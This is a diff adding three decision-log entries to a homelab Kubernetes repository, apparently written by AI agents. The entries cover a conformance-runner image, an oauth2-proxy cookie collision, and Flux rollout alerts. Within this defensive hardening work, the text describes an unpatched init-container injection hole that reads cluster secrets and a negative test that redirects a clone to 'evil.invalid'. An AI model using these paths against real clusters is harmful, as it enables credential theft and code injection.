+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-runner-image.md

@@ -0,0 +1,258 @@
+---
+date: 2026-09-29
+branch: feat/conformance-runner-image
+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has
+  not been exercised against it, because there is no digest to reference yet.
+- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
+  purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
+  like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
+  operator action — `build-image.sh` prints the exact commands.
+- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
+  change what the branch claims to have proven, so no build was run; the image measurements
+  above are the ones taken when the code was written, against this same code.
+- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
+  The cosign path is named as a TODO, not implemented.
+- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
+  The initContainer injection hole is open until that separate PR lands.
+- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
+  prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
+  at L2/L3.
+- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
+  registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
+  earlier, against the pre-rework head.
+- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
+  quoted above is from run 128 on the old head.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-flux-deploy-notifications.md

@@ -0,0 +1,144 @@
+---
+date: 2026-09-29
+branch: feat/flux-deploy-notifications
+title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
+---
+
+## What changed
+
+The operator was getting **no notification when Flux began applying a git change, and none when it
+finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
+(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
+there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
+providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
+rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
+`FluxResourceSuspended`) — nothing covered the healthy path.
+
+**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
+filtered into a deploy signal:
+
+- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
+  `interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
+  324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
+  not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
+- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
+  counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
+  `platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
+  `NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
+  five times every ten minutes, forever.
+- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
+  `gotk_suspend_status` 40, not one with a revision.
+
+The applied **revision** is the only signal that moves when and only when git moves, and it lives in
+object status alone. So:
+
+1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
+   `kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
+   `kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
+   `status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
+   `status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
+   `podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
+   a config-only edit would have left KSM running the old collector set with the new metrics absent
+   and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
+   `kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
+   Cost: 33 series.
+2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
+   (`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
+   revision is not the revision the GitRepository fetched from `main`, and **clears when all have
+   caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
+   half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
+   warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
+   never converged.
+3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
+   `[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
+   `[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
+   `group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
+   `group_interval: 2m` so completion is not held 4m behind the event.
+4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
+5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
+   `conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
+   pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
+   deleting any of them fails the gate instead of silently re-inerting the alerts.
+
+Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
+`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
+`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
+permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
+(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
+and would hold the rollout open, so the "applied" mail would never arrive).
+
+## What I verified
+
+Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
+measured:
+
+- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
+  `alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
+  `get providers,alerts -A` → **`No resources found`**. This is the defect.
+- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
+  involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
+  `DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
+- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
+  `flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
+  (`{kind="Kustomization"}` = 16) — and none carries a revision.
+- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
+  protects_volume_data,info}` = 2 series each.
+- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
+  `.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
+  `1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
+  (which is why `nilIsZero: true` is mandatory).
+- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
+  the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
+  `kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
+- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
+  pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
+  proves the alert empties itself (the completion mail).
+- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
+  `spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
+  `alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
+  and the new runbook all cleared their own checks. Coverage 51/51.
+
+## What I did NOT verify
+
+- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
+  rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
+  ("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
+  and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
+  CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
+- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
+  versions and that each status field is populated on the live objects, but I have not seen KSM emit
+  `kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
+  then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
+  first thing to check after merge:
+  `count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
+- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
+  two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
+  limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
+  after this settles rather than assuming the headroom holds.
+- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
+  `.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
+  arrives with a poorer subject — cosmetic, but unproven.
+- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
+  deliberately: its unique value over the rules above is the human-readable **commit subject**
